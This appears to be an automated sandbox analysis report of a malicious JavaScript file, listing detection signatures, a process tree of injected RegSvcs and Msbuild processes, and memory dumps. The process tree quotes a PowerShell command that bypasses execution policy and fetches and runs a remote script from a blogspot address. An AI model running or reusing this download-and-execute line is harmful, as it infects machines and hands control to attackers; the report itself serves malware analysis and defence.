Analysis

  • max time kernel
    134s
  • max time network
    115s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/05/2024, 17:42

General

  • Target
    b9b4fb770fdb055d474f1a54886bdc380c22afa777a3a0aeaf42a04dcb6a56a8.js
  • Size 1.8MB
  • Sample240507-v9568abb32
  • SHA256 b9b4fb770fdb055d474f1a54886bdc380c22afa777a3a0aeaf42a04dcb6a56a8
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated with Agile.Net obfuscator 1 IoCs

    Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 6 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 12 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 8 IoCs
  • Suspicious behavior: EnumeratesProcesses 23 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 62 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\b9b4fb770fdb055d474f1a54886bdc380c22afa777a3a0aeaf42a04dcb6a56a8.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4044
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;$(irm mainhotel5may.blogspot.com//////////////////////hehehehe) | . iex;Start-Sleep -Seconds 3;
      2⤵
      • Blocklisted process makes network request
      • Adds Run key to start application
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2664
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2716
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:224
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4800
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
          dw20.exe -x -s 772
          4⤵
          • Checks processor information in registry
          • Enumerates system info in registry
          • Suspicious use of AdjustPrivilegeToken
          PID:2536
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4440
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
          dw20.exe -x -s 784
          4⤵
          • Checks processor information in registry
          • Enumerates system info in registry
          • Suspicious use of AdjustPrivilegeToken
          PID:3496
      • C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
        "C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4672
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
          dw20.exe -x -s 648
          4⤵
          • Checks processor information in registry
          • Enumerates system info in registry
          • Suspicious use of AdjustPrivilegeToken
          PID:1304
      • C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
        "C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4424
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
          dw20.exe -x -s 780
          4⤵
          • Checks processor information in registry
          • Enumerates system info in registry
          • Suspicious use of AdjustPrivilegeToken
          PID:4644

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        WER6C19.tmp.xml

        • Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER6C19.tmp.xml
        • Size 4KB
        • SHA256 dfd331453c2c3a9c2e3f049b2ab9732af32b402182ea2cccc085164811089cc5
        • MD5 SHA1 SHA512 SSDEEP

        __PSScriptPolicyTest_lf3b3ocb.yvz.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lf3b3ocb.yvz.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        memory/224-28-0x0000000000D10000-0x0000000000D96000-memory.dmp

        memory/224-30-0x0000000002DE0000-0x0000000002E46000-memory.dmp

        memory/2664-14-0x00007FFCC1640000-0x00007FFCC2101000-memory.dmp

        memory/2664-29-0x00007FFCC1640000-0x00007FFCC2101000-memory.dmp

        memory/2664-0-0x00007FFCC1643000-0x00007FFCC1645000-memory.dmp

        memory/2664-16-0x000001FFBA520000-0x000001FFBA52E000-memory.dmp

        memory/2664-17-0x000001FFBA550000-0x000001FFBA56A000-memory.dmp

        memory/2664-18-0x000001FFBA540000-0x000001FFBA54A000-memory.dmp

        memory/2664-19-0x000001FFBA570000-0x000001FFBA578000-memory.dmp

        memory/2664-20-0x000001FFBA580000-0x000001FFBA588000-memory.dmp

        memory/2664-21-0x000001FFD2CC0000-0x000001FFD2CC8000-memory.dmp

        memory/2664-65-0x00007FFCC1640000-0x00007FFCC2101000-memory.dmp

        memory/2664-12-0x00007FFCC1640000-0x00007FFCC2101000-memory.dmp

        memory/2664-13-0x000001FFD30B0000-0x000001FFD3272000-memory.dmp

        memory/2664-11-0x00007FFCC1640000-0x00007FFCC2101000-memory.dmp

        memory/2664-64-0x00007FFCC1640000-0x00007FFCC2101000-memory.dmp

        memory/2664-10-0x000001FFD27D0000-0x000001FFD27F2000-memory.dmp

        memory/2664-63-0x00007FFCC1643000-0x00007FFCC1645000-memory.dmp

        memory/2716-59-0x0000000005F70000-0x0000000006132000-memory.dmp

        memory/2716-60-0x0000000006720000-0x00000000067BC000-memory.dmp

        memory/2716-61-0x0000000006820000-0x0000000006870000-memory.dmp

        memory/2716-62-0x0000000006970000-0x000000000697A000-memory.dmp

        memory/2716-31-0x00000000056A0000-0x0000000005C44000-memory.dmp

        memory/2716-36-0x00000000050F0000-0x0000000005182000-memory.dmp

        memory/2716-22-0x0000000000400000-0x0000000000486000-memory.dmp